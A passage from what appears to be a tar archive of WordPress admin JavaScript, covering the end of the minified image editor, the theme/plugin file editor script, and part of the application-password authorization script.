t=document.activeElement,i=e.contains(t);t&&!i&&"true"===a.getAttribute("aria-expanded")&&d.togglePopup(a)},100),!1},browsePopup:function(t,i){var e=c(i),i=c(i).parent(".imgedit-popup-menu").find("button"),e=i.index(e),a=e-1,e=e+1,o=i.length,o=(a<0&&(a=o-1),e===o&&(e=0),!1);return 40===t.keyCode?o=i.get(e):38===t.keyCode&&(o=i.get(a)),o&&(o.focus(),t.preventDefault()),!1},closePopup:function(t){var t=c(t).parent(".imgedit-popup-menu"),i=t.attr("id");return c('button[aria-controls="'+i+'"]').attr("aria-expanded","false").trigger("focus"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast"),!1},toggleHelp:function(t){t=c(t);return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false").parents(".imgedit-group-top").toggleClass("imgedit-help-toggled").find(".imgedit-help").slideToggle("fast"),!1},toggleControls:function(t){var t=c(t),i=c("#"+t.attr("aria-controls"));return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false"),i.parent(".imgedit-group").toggleClass("imgedit-panel-active"),!1},getTarget:function(t){var i=c("#imgedit-save-target-"+t);return i.length?i.find('input[name="imgedit-target-'+t+'"]:checked').val()||"full":"all"},scaleChanged:function(t,i,e){var a=c("#imgedit-scale-width-"+t),o=c("#imgedit-scale-height-"+t),t=c("#imgedit-scale-warn-"+t),r="",n="",s=c("#imgedit-scale-button");!1!==this.validateNumeric(e)&&(i?(n=""!==a.val()?Math.round(a.val()/this.hold.xy_ratio):"",o.val(n)):(r=""!==o.val()?Math.round(o.val()*this.hold.xy_ratio):"",a.val(r)),n&&n>this.hold.oh||r&&r>this.hold.ow?(t.css("visibility","visible"),s.prop("disabled",!0)):(t.css("visibility","hidden"),s.prop("disabled",!1)))},getSelRatio:function(t){var i=this.hold.w,e=this.hold.h,a=this.intval(c("#imgedit-crop-width-"+t).val()),t=this.intval(c("#imgedit-crop-height-"+t).val());return a&&t?a+":"+t:i&&e?i+":"+e:"1:1"},filterHistory:function(t,i){var e,a,o,r=c("#imgedit-history-"+t).val(),n=[];if(""===r)return"";if(r=JSON.parse(r),0<(e=this.intval(c("#imgedit-undone-"+t).val())))for(;0<e;)r.pop(),e--;if(i){if(!r.length)return this.hold.w=this.hold.ow,this.hold.h=this.hold.oh,"";(t=(t=r[r.length-1]).c||t.r||t.f||!1)&&(this.hold.w=t.fw,this.hold.h=t.fh)}for(a in r)(o=r[a]).hasOwnProperty("c")?n[a]={c:{x:o.c.x,y:o.c.y,w:o.c.w,h:o.c.h,r:o.c.r}}:o.hasOwnProperty("r")?n[a]={r:o.r.r}:o.hasOwnProperty("f")&&(n[a]={f:o.f.f});return JSON.stringify(n)},refreshEditor:function(o,t,r){var n,i=this;i.toggleEditor(o,1),t={action:"imgedit-preview",_ajax_nonce:t,postid:o,history:i.filterHistory(o,1),rand:i.intval(1e6*Math.random())},n=c('<img id="image-preview-'+o+'" alt="" />').on("load",{history:t.history},function(t){var i=c("#imgedit-crop-"+o),e=d,a=(""!==t.data.history&&(t=JSON.parse(t.data.history))[t.length-1].hasOwnProperty("c")&&(e.setDisabled(c("#image-undo-"+o),!0),c("#image-undo-"+o).trigger("focus")),i.empty().append(n),t=Math.max(e.hold.w,e.hold.h),a=Math.max(c(n).width(),c(n).height()),e.hold.sizer=a<t?a/t:1,e.initCrop(o,n,i),null!=r&&r(),c("#imgedit-history-"+o).val()&&"0"===c("#imgedit-undone-"+o).val()?c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!1):c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!0),s("Image updated."));e.toggleEditor(o,0),wp.a11y.speak(a,"assertive")}).on("error",function(){var t=s("Could not load the preview image. Please reload the page and try again.");c("#imgedit-crop-"+o).empty().append('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t+"</p></div>"),i.toggleEditor(o,0,!0),wp.a11y.speak(t,"assertive")}).attr("src",ajaxurl+"?"+c.param(t))},action:function(i,t,e){var a,o,r,n,s=this;if(s.notsaved(i))return!1;if(t={action:"image-editor",_ajax_nonce:t,postid:i},"scale"===e){if(a=c("#imgedit-scale-width-"+i),o=c("#imgedit-scale-height-"+i),r=s.intval(a.val()),n=s.intval(o.val()),r<1)return a.trigger("focus"),!1;if(n<1)return o.trigger("focus"),!1;if(r===s.hold.ow||n===s.hold.oh)return!1;t.do="scale",t.fwidth=r,t.fheight=n}else{if("restore"!==e)return!1;t.do="restore"}s.toggleEditor(i,1),c.post(ajaxurl,t,function(t){c("#image-editor-"+i).empty().append(t.data.html),s.toggleEditor(i,0,!0),s._view&&s._view.refresh()}).done(function(t){t&&t.data.message.msg?wp.a11y.speak(t.data.message.msg):t&&t.data.message.error&&wp.a11y.speak(t.data.message.error)})},save:function(i,t){var e=this.getTarget(i),a=this.filterHistory(i,0),o=this;if(""===a)return!1;this.toggleEditor(i,1),t={action:"image-editor",_ajax_nonce:t,postid:i,history:a,target:e,context:c("#image-edit-context").length?c("#image-edit-context").val():null,do:"save"},c.post(ajaxurl,t,function(t){t.data.error?(c("#imgedit-response-"+i).html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t.data.error+"</p></div>"),d.close(i),wp.a11y.speak(t.data.error)):(t.data.fw&&t.data.fh&&c("#media-dims-"+i).html(t.data.fw+" × "+t.data.fh),t.data.thumbnail&&c(".thumbnail","#thumbnail-head-"+i).attr("src",""+t.data.thumbnail),t.data.msg&&(c("#imgedit-response-"+i).html('<div class="notice notice-success" tabindex="-1" role="alert"><p>'+t.data.msg+"</p></div>"),wp.a11y.speak(t.data.msg)),o._view?o._view.save():d.close(i))})},open:function(e,t,i){this._view=i;var a=c("#image-editor-"+e),o=c("#media-head-"+e),r=c("#imgedit-open-btn-"+e),n=r.siblings(".spinner");if(!r.hasClass("button-activated"))return n.addClass("is-active"),c.ajax({url:ajaxurl,type:"post",data:{action:"image-editor",_ajax_nonce:t,postid:e,do:"open"},beforeSend:function(){r.addClass("button-activated")}}).done(function(t){var i;"-1"===t&&(i=s("Could not load the preview image."),a.html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+i+"</p></div>")),t.data&&t.data.html&&a.html(t.data.html),o.fadeOut("fast",function(){a.fadeIn("fast",function(){i&&c(document).trigger("image-editor-ui-ready")}),r.removeClass("button-activated"),n.removeClass("is-active")}),d.init(e)})},imgLoaded:function(t){var i=c("#image-preview-"+t),e=c("#imgedit-crop-"+t);void 0===this.hold.sizer&&this.init(t),this.calculateImgSize(t),this.initCrop(t,i,e),this.setCropSelection(t,{x1:0,y1:0,x2:0,y2:0,width:i.innerWidth(),height:i.innerHeight()}),this.toggleEditor(t,0,!0)},focusManager:function(){setTimeout(function(){var t=c('.notice[role="alert"]');(t=t.length?t:c(".imgedit-wrap").find(":tabbable:first")).attr("tabindex","-1").trigger("focus")},100)},initCrop:function(r,t,i){var n=this,o=c("#imgedit-sel-width-"+r),s=c("#imgedit-sel-height-"+r),t=c(t);t.data("imgAreaSelect")||(n.iasapi=t.imgAreaSelect({parent:i,instance:!0,handles:!0,keys:!0,minWidth:3,minHeight:3,onInit:function(t){c(t).next().css("position","absolute").nextAll(".imgareaselect-outer").css("position","absolute"),i.children().on("mousedown touchstart",function(t){var i=!1,e=n.iasapi.getSelection(),a=n.intval(c("#imgedit-crop-width-"+r).val()),o=n.intval(c("#imgedit-crop-height-"+r).val());a&&o?i=n.getSelRatio(r):t.shiftKey&&e&&e.width&&e.height&&(i=e.width+":"+e.height),n.iasapi.setOptions({aspectRatio:i})})},onSelectStart:function(){d.setDisabled(c("#imgedit-crop-sel-"+r),1),d.setDisabled(c(".imgedit-crop-clear"),1),d.setDisabled(c(".imgedit-crop-apply"),1)},onSelectEnd:function(t,i){d.setCropSelection(r,i),c("#imgedit-crop > *").is(":visible")||d.toggleControls(c(".imgedit-crop.button"))},onSelectChange:function(t,i){var e=d.hold.sizer,a=d.currentCropSelection;null!=a&&a.width==i.width&&a.height==i.height||(o.val(Math.min(d.hold.w,d.round(i.width/e))),s.val(Math.min(d.hold.h,d.round(i.height/e))),n.currentCropSelection=i)}}))},setCropSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=this.hold.sizer,r=this.hold;if(!(i=i||0)||i.width<3&&i.height<3)return this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),this.setDisabled(c("#imgedit-crop-sel-"+t),1),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val(""),!1;var n=r.w-(Math.round(i.x1/o)+parseInt(e.val())),r=r.h-(Math.round(i.y1/o)+parseInt(a.val())),n={r:1,x:Math.round(i.x1/o)+Math.min(0,n),y:Math.round(i.y1/o)+Math.min(0,r),w:e.val(),h:a.val()};this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),c("#imgedit-selection-"+t).val(JSON.stringify(n))},close:function(t,i){if((i=i||!1)&&this.notsaved(t))return!1;this.iasapi={},this.hold={},this._view?this._view.back():c("#image-editor-"+t).fadeOut("fast",function(){c("#media-head-"+t).fadeIn("fast",function(){c("#imgedit-open-btn-"+t).trigger("focus")}),c(this).empty()})},notsaved:function(t){var i=c("#imgedit-history-"+t).val(),i=""!==i?JSON.parse(i):[];return this.intval(c("#imgedit-undone-"+t).val())<i.length&&!confirm(c("#imgedit-leaving-"+t).text())},addStep:function(t,i,e){for(var a=this,o=c("#imgedit-history-"+i),r=""!==o.val()?JSON.parse(o.val()):[],n=c("#imgedit-undone-"+i),s=a.intval(n.val());0<s;)r.pop(),s--;n.val(0),r.push(t),o.val(JSON.stringify(r)),a.refreshEditor(i,e,function(){a.setDisabled(c("#image-undo-"+i),!0),a.setDisabled(c("#image-redo-"+i),!1)})},rotate:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({r:{r:t,fw:this.hold.h,fh:this.hold.w}},i,e),c("#imgedit-sel-width-"+i).val(""),c("#imgedit-sel-height-"+i).val(""),this.currentCropSelection=null},flip:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({f:{f:t,fw:this.hold.w,fh:this.hold.h}},i,e),c("#imgedit-sel-width-"+i).val(""),c("#imgedit-sel-height-"+i).val(""),this.currentCropSelection=null},crop:function(t,i,e){var a=c("#imgedit-selection-"+t).val(),o=this.intval(c("#imgedit-sel-width-"+t).val()),r=this.intval(c("#imgedit-sel-height-"+t).val());if(c(e).hasClass("disabled")||""===a)return!1;0<(a=JSON.parse(a)).w&&0<a.h&&0<o&&0<r&&(a.fw=o,a.fh=r,this.addStep({c:a},t,i)),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),this.currentCropSelection=null},undo:function(i,t){var e=this,a=c("#image-undo-"+i),o=c("#imgedit-undone-"+i),r=e.intval(o.val())+1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(i,t,function(){var t=c("#imgedit-history-"+i),t=""!==t.val()?JSON.parse(t.val()):[];e.setDisabled(c("#image-redo-"+i),!0),e.setDisabled(a,r<t.length),t.length===r&&c("#image-redo-"+i).trigger("focus")}))},redo:function(t,i){var e=this,a=c("#image-redo-"+t),o=c("#imgedit-undone-"+t),r=e.intval(o.val())-1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(t,i,function(){e.setDisabled(c("#image-undo-"+t),!0),e.setDisabled(a,0<r),0==r&&c("#image-undo-"+t).trigger("focus")}))},setNumSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=c("#imgedit-start-x-"+t),r=c("#imgedit-start-y-"+t),o=this.intval(o.val()),r=this.intval(r.val()),n=this.intval(e.val()),s=this.intval(a.val()),d=c("#image-preview-"+t),l=d.height(),d=d.width(),h=this.hold.sizer,g=this.iasapi;if(this.currentCropSelection=null,!1!==this.validateNumeric(i))return n<1?(e.val(""),!1):s<1?(a.val(""),!1):void((n&&s||o&&r)&&(i=g.getSelection())&&(n=i.x1+Math.round(n*h),s=i.y1+Math.round(s*h),o=o===i.x1?i.x1:Math.round(o*h),i=r===i.y1?i.y1:Math.round(r*h),d<n&&(o=0,n=d,e.val(Math.min(this.hold.w,Math.round(n/h)))),l<s&&(i=0,s=l,a.val(Math.min(this.hold.h,Math.round(s/h)))),g.setSelection(o,i,n,s),g.update(),this.setCropSelection(t,g.getSelection()),this.currentCropSelection=g.getSelection()))},round:function(t){var i;return t=Math.round(t),.6<this.hold.sizer?t:"1"===(i=t.toString().slice(-1))?t-1:"9"===i?t+1:t},setRatioSelection:function(t,i,e){var a=this.intval(c("#imgedit-crop-width-"+t).val()),o=this.intval(c("#imgedit-crop-height-"+t).val()),r=c("#image-preview-"+t).height();!1===this.validateNumeric(e)?this.iasapi.setOptions({aspectRatio:null}):a&&o&&(this.iasapi.setOptions({aspectRatio:a+":"+o}),e=this.iasapi.getSelection(!0))&&(r<(a=Math.ceil(e.y1+(e.x2-e.x1)/(a/o)))?(a=r,o=s("Selected crop ratio exceeds the boundaries of the image. Try a different ratio."),c("#imgedit-crop-"+t).prepend('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+o+"</p></div>"),wp.a11y.speak(o,"assertive"),c(i?"#imgedit-crop-height-"+t:"#imgedit-crop-width-"+t).val("")):void 0!==(r=c("#imgedit-crop-"+t).find(".notice-error"))&&r.remove(),this.iasapi.setSelection(e.x1,e.y1,e.x2,a),this.iasapi.update())},validateNumeric:function(t){if(!1===this.intval(c(t).val()))return c(t).val(""),!1}}}(jQuery); js/theme-plugin-editor.min.js 0000644 00000027510 15233246127 0012174 0 ustar 00 /*! This file is auto-generated */ window.wp||(window.wp={}),wp.themePluginEditor=function(o){"use strict";var t,i=wp.i18n.__,s=wp.i18n._n,r=wp.i18n.sprintf,n={codeEditor:{},instance:null,noticeElements:{},dirty:!1,lintErrors:[],init:function(e,t){n.form=e,t&&o.extend(n,t),n.noticeTemplate=wp.template("wp-file-editor-notice"),n.noticesContainer=n.form.find(".editor-notices"),n.submitButton=n.form.find(":input[name=submit]"),n.spinner=n.form.find(".submit .spinner"),n.form.on("submit",n.submit),n.textarea=n.form.find("#newcontent"),n.textarea.on("change",n.onChange),n.warning=o(".file-editor-warning"),n.docsLookUpButton=n.form.find("#docs-lookup"),n.docsLookUpList=n.form.find("#docs-list"),0<n.warning.length&&n.showWarning(),!1!==n.codeEditor&&_.defer(function(){n.initCodeEditor()}),o(n.initFileBrowser),o(window).on("beforeunload",function(){if(n.dirty)return i("The changes you made will be lost if you navigate away from this page.")}),n.docsLookUpList.on("change",function(){""===o(this).val()?n.docsLookUpButton.prop("disabled",!0):n.docsLookUpButton.prop("disabled",!1)}),o(window).on("keydown",function(e){!e.ctrlKey&&!e.metaKey||"s"!==e.key.toLowerCase()||n.instance&&n.instance.codemirror.hasFocus()||(e.preventDefault(),n.form.trigger("submit"))})},showWarning:function(){var e=n.warning.find(".file-editor-warning-message").text();o("#wpwrap").attr("aria-hidden","true"),o(document.body).addClass("modal-open").append(n.warning.detach()),n.warning.removeClass("hidden").find(".file-editor-warning-go-back").trigger("focus"),n.warningTabbables=n.warning.find("a, button"),n.warningTabbables.on("keydown",n.constrainTabbing),n.warning.on("click",".file-editor-warning-dismiss",n.dismissWarning),setTimeout(function(){wp.a11y.speak(wp.sanitize.stripTags(e.replace(/\s+/g," ")),"assertive")},1e3)},constrainTabbing:function(e){var t,i;9===e.which&&(t=n.warningTabbables.first()[0],(i=n.warningTabbables.last()[0])!==e.target||e.shiftKey?t===e.target&&e.shiftKey&&(i.focus(),e.preventDefault()):(t.focus(),e.preventDefault()))},dismissWarning:function(){wp.ajax.post("dismiss-wp-pointer",{pointer:n.themeOrPlugin+"_editor_notice"}),n.warning.remove(),o("#wpwrap").removeAttr("aria-hidden"),o("body").removeClass("modal-open")},onChange:function(){n.dirty=!0,n.removeNotice("file_saved")},submit:function(e){var t={};e.preventDefault(),o.each(n.form.serializeArray(),function(){t[this.name]=this.value}),n.instance&&(t.newcontent=n.instance.codemirror.getValue()),n.isSaving||(n.instance&&n.instance.updateErrorNotice&&n.instance.updateErrorNotice(),n.lintErrors.length?n.instance.codemirror.setCursor(n.lintErrors[0].from.line):(n.isSaving=!0,n.textarea.prop("readonly",!0),n.instance&&n.instance.codemirror.setOption("readOnly",!0),n.spinner.addClass("is-active"),e=wp.ajax.post("edit-theme-plugin-file",t),n.lastSaveNoticeCode&&n.removeNotice(n.lastSaveNoticeCode),e.done(function(e){n.lastSaveNoticeCode="file_saved",n.addNotice({code:n.lastSaveNoticeCode,type:"success",message:e.message,dismissible:!0}),n.dirty=!1}),e.fail(function(e){e=o.extend({code:"save_error",message:i("An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.")},e,{type:"error",dismissible:!0});n.lastSaveNoticeCode=e.code,n.addNotice(e)}),e.always(function(){n.spinner.removeClass("is-active"),n.isSaving=!1,n.textarea.prop("readonly",!1),n.instance&&n.instance.codemirror.setOption("readOnly",!1)})))},addNotice:function(e){var t;if(e.code)return n.removeNotice(e.code),(t=o(n.noticeTemplate(e))).hide(),t.find(".notice-dismiss").on("click",function(){n.removeNotice(e.code),e.onDismiss&&e.onDismiss(e)}),wp.a11y.speak(e.message),n.noticesContainer.append(t),t.slideDown("fast"),n.noticeElements[e.code]=t;throw new Error("Missing code.")},removeNotice:function(e){return!!n.noticeElements[e]&&(n.noticeElements[e].slideUp("fast",function(){o(this).remove()}),delete n.noticeElements[e],!0)},initCodeEditor:function(){var t,e;function i(){n.form.trigger("submit")}(t=o.extend({},n.codeEditor)).onTabPrevious=function(){o("#templateside").find(":tabbable").last().trigger("focus")},t.onTabNext=function(){o("#template").find(":tabbable:not(.CodeMirror-code)").first().trigger("focus")},t.onChangeLintingErrors=function(e){0===(n.lintErrors=e).length&&n.submitButton.toggleClass("disabled",!1)},t.onUpdateErrorNotice=function(e){n.submitButton.toggleClass("disabled",0<e.length),0!==e.length?n.addNotice({code:"lint_errors",type:"error",message:r(s("There is %s error which must be fixed before you can update this file.","There are %s errors which must be fixed before you can update this file.",e.length),String(e.length)),dismissible:!1}).find("input[type=checkbox]").on("click",function(){t.onChangeLintingErrors([]),n.removeNotice("lint_errors")}):n.removeNotice("lint_errors")},(e=wp.codeEditor.initialize(o("#newcontent"),t)).codemirror.on("change",n.onChange),e.codemirror.setOption("extraKeys",{...e.codemirror.getOption("extraKeys")||{},"Ctrl-S":i,"Cmd-S":i}),o(e.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":"theme-plugin-editor-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),o("#theme-plugin-editor-label").on("click",function(){e.codemirror.focus()}),n.instance=e},initFileBrowser:function(){var e=o("#templateside");e.find('[role="group"]').parent().attr("aria-expanded",!1),e.find(".notice").parents("[aria-expanded]").attr("aria-expanded",!0),e.find('[role="tree"]').each(function(){new t(this).init()}),e.find(".current-file:first").each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(!1)})}},a=(e.prototype.init=function(){this.domNode.tabIndex=-1,this.domNode.getAttribute("role")||this.domNode.setAttribute("role","treeitem"),this.domNode.addEventListener("keydown",this.handleKeydown.bind(this)),this.domNode.addEventListener("click",this.handleClick.bind(this)),this.domNode.addEventListener("focus",this.handleFocus.bind(this)),this.domNode.addEventListener("blur",this.handleBlur.bind(this)),(this.isExpandable?(this.domNode.firstElementChild.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode.firstElementChild):(this.domNode.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode)).addEventListener("mouseout",this.handleMouseOut.bind(this))},e.prototype.isExpanded=function(){return!!this.isExpandable&&"true"===this.domNode.getAttribute("aria-expanded")},e.prototype.handleKeydown=function(e){e.currentTarget;var t=!1,i=e.key;function o(e){return 1===e.length&&e.match(/\S/)}function s(e){"*"==i?(e.tree.expandAllSiblingItems(e),t=!0):o(i)&&(e.tree.setFocusByFirstCharacter(e,i),t=!0)}if(this.stopDefaultClick=!1,!(e.altKey||e.ctrlKey||e.metaKey)){if(e.shift)e.keyCode==this.keyCode.SPACE||e.keyCode==this.keyCode.RETURN?(e.stopPropagation(),this.stopDefaultClick=!0):o(i)&&s(this);else switch(e.keyCode){case this.keyCode.SPACE:case this.keyCode.RETURN:this.isExpandable?(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),t=!0):(e.stopPropagation(),this.stopDefaultClick=!0);break;case this.keyCode.UP:this.tree.setFocusToPreviousItem(this),t=!0;break;case this.keyCode.DOWN:this.tree.setFocusToNextItem(this),t=!0;break;case this.keyCode.RIGHT:this.isExpandable&&(this.isExpanded()?this.tree.setFocusToNextItem(this):this.tree.expandTreeitem(this)),t=!0;break;case this.keyCode.LEFT:this.isExpandable&&this.isExpanded()?(this.tree.collapseTreeitem(this),t=!0):this.inGroup&&(this.tree.setFocusToParentItem(this),t=!0);break;case this.keyCode.HOME:this.tree.setFocusToFirstItem(),t=!0;break;case this.keyCode.END:this.tree.setFocusToLastItem(),t=!0;break;default:o(i)&&s(this)}t&&(e.stopPropagation(),e.preventDefault())}},e.prototype.handleClick=function(e){e.target!==this.domNode&&e.target!==this.domNode.firstElementChild||this.isExpandable&&(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),e.stopPropagation())},e.prototype.handleFocus=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.add("focus")},e.prototype.handleBlur=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.remove("focus")},e.prototype.handleMouseOver=function(e){e.currentTarget.classList.add("hover")},e.prototype.handleMouseOut=function(e){e.currentTarget.classList.remove("hover")},e);function e(e,t,i){if("object"==typeof e){e.tabIndex=-1,this.tree=t,this.groupTreeitem=i,this.domNode=e,this.label=e.textContent.trim(),this.stopDefaultClick=!1,e.getAttribute("aria-label")&&(this.label=e.getAttribute("aria-label").trim()),this.isExpandable=!1,this.isVisible=!1,this.inGroup=!1,i&&(this.inGroup=!0);for(var o=e.firstElementChild;o;){if("ul"==o.tagName.toLowerCase()){o.setAttribute("role","group"),this.isExpandable=!0;break}o=o.nextElementSibling}this.keyCode=Object.freeze({RETURN:13,SPACE:32,PAGEUP:33,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40})}}function d(e){"object"==typeof e&&(this.domNode=e,this.treeitems=[],this.firstChars=[],this.firstTreeitem=null,this.lastTreeitem=null)}return d.prototype.init=function(){this.domNode.getAttribute("role")||this.domNode.setAttribute("role","tree"),function e(t,i,o){for(var s=t.firstElementChild,r=o;s;)("li"===s.tagName.toLowerCase()&&"span"===s.firstElementChild.tagName.toLowerCase()||"a"===s.tagName.toLowerCase())&&((r=new a(s,i,o)).init(),i.treeitems.push(r),i.firstChars.push(r.label.substring(0,1).toLowerCase())),s.firstElementChild&&e(s,i,r),s=s.nextElementSibling}(this.domNode,this,!1),this.updateVisibleTreeitems(),this.firstTreeitem.domNode.tabIndex=0},d.prototype.setFocusToItem=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i===e?(i.domNode.tabIndex=0,i.domNode.focus()):i.domNode.tabIndex=-1}},d.prototype.setFocusToNextItem=function(e){for(var t=!1,i=this.treeitems.length-1;0<=i;i--){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToPreviousItem=function(e){for(var t=!1,i=0;i<this.treeitems.length;i++){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToParentItem=function(e){e.groupTreeitem&&this.setFocusToItem(e.groupTreeitem)},d.prototype.setFocusToFirstItem=function(){this.setFocusToItem(this.firstTreeitem)},d.prototype.setFocusToLastItem=function(){this.setFocusToItem(this.lastTreeitem)},d.prototype.expandTreeitem=function(e){e.isExpandable&&(e.domNode.setAttribute("aria-expanded",!0),this.updateVisibleTreeitems())},d.prototype.expandAllSiblingItems=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i.groupTreeitem===e.groupTreeitem&&i.isExpandable&&this.expandTreeitem(i)}},d.prototype.collapseTreeitem=function(e){var t=!1;(t=e.isExpanded()?e:e.groupTreeitem)&&(t.domNode.setAttribute("aria-expanded",!1),this.updateVisibleTreeitems(),this.setFocusToItem(t))},d.prototype.updateVisibleTreeitems=function(){this.firstTreeitem=this.treeitems[0];for(var e=0;e<this.treeitems.length;e++){var t=this.treeitems[e],i=t.domNode.parentNode;for(t.isVisible=!0;i&&i!==this.domNode;)"false"==i.getAttribute("aria-expanded")&&(t.isVisible=!1),i=i.parentNode;t.isVisible&&(this.lastTreeitem=t)}},d.prototype.setFocusByFirstCharacter=function(e,t){t=t.toLowerCase(),(e=this.treeitems.indexOf(e)+1)===this.treeitems.length&&(e=0),-1<(e=-1===(e=this.getIndexFirstChars(e,t))?this.getIndexFirstChars(0,t):e)&&this.setFocusToItem(this.treeitems[e])},d.prototype.getIndexFirstChars=function(e,t){for(var i=e;i<this.firstChars.length;i++)if(this.treeitems[i].isVisible&&t===this.firstChars[i])return i;return-1},t=d,n}(jQuery),wp.themePluginEditor.l10n=wp.themePluginEditor.l10n||{saveAlert:"",saveError:"",lintError:{alternative:"wp.i18n",func:function(){return{singular:"",plural:""}}}},wp.themePluginEditor.l10n=window.wp.deprecateL10nObject("wp.themePluginEditor.l10n",wp.themePluginEditor.l10n,"5.5.0"); js/auth-app.js 0000644 00000013244 15233246127 0007246 0 ustar 00 /** * @output wp-admin/js/auth-app.js */ /* global authApp */ ( function( $, authApp ) { var $appNameField = $( '#app_name' ), $approveBtn = $( '#approve' ), $rejectBtn = $( '#reject' ), $form = $appNameField.closest( 'form' ), context = { userLogin: authApp.user_login, successUrl: authApp.success, rejectUrl: authApp.reject }; $approveBtn.on( 'click', function( e ) { var name = $appNameField.val(), appId = $( 'input[name="app_id"]', $form ).val(); e.preventDefault(); if ( $approveBtn.prop( 'aria-disabled' ) ) { return; } if ( 0 === name.length ) { $appNameField.trigger( 'focus' ); return; } $approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; if ( appId.length > 0 ) { request.app_id = appId; } /** * Filters the request data used to Authorize an Application Password request. * * @since 5.6.0 * * @param {Object} request The request data. * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request. */ request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context ); wp.apiRequest( { path: '/wp/v2/users/me/application-passwords?_locale=user', method: 'POST', data: request } ).done( function( response, textStatus, jqXHR ) { /** * Fires when an Authorize Application Password request has been successfully approved. * * In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'} * action to ensure that both the JS and no-JS variants are handled. * * @since 5.6.0 * * @param {Object} response The response from the REST API. * @param {string} response.password The newly created password. * @param {string} textStatus The status of the request. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR ); var raw = authApp.success, url, message, $notice; if ( raw ) { url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) + 'site_url=' + encodeURIComponent( authApp.site_url ) + '&user_login=' + encodeURIComponent( authApp.user_login ) + '&password=' + encodeURIComponent( response.password ); window.location = url; } else { message = wp.i18n.sprintf( /* translators: %s: Application name. */ '<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>', '<strong></strong>' ) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />'; $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', -1 ) .addClass( 'notice notice-success notice-alt' ) .append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) ) .append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' ); // We're using .text() to write the variables to avoid any chance of XSS. $( 'strong', $notice ).text( response.name ); $( 'input', $notice ).val( response.password ); $form.replaceWith( $notice ); $notice.trigger( 'focus' ); } } ).fail( function( jqXHR, textStatus, errorThrown ) { var errorMessage = errorThrown, error = null; if ( jqXHR.responseJSON ) { error = jqXHR.responseJSON; if ( error.message ) { errorMessage = error.message; } } var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .addClass( 'notice notice-error' ) .append( $( '<p></p>' ).text( errorMessage ) ); $( 'h1' ).after( $notice ); $approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' ); /** * Fires when an Authorize Application Password request encountered an error when trying to approve the request. * * @since 5.6.0 * @since 5.6.1 Corrected action name and signature. * * @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON. * @param {string} textStatus The status of the request. * @param {string} errorThrown The error message associated with the response status code. * @param {jqXHR} jqXHR The underlying jqXHR object that made the request. */ wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR ); } ); } ); $rejectBtn.on( 'click', function( e ) { e.preventDefault(); /** * Fires when an Authorize Application Password request has been rejected by the user. * * @since 5.6.0 * * @param {Object} context Context about the Application Password request. * @param {string} context.userLogin The user's login username. * @param {string} context.successUrl The URL the user will be redirected to after approving the request. * @param {string} 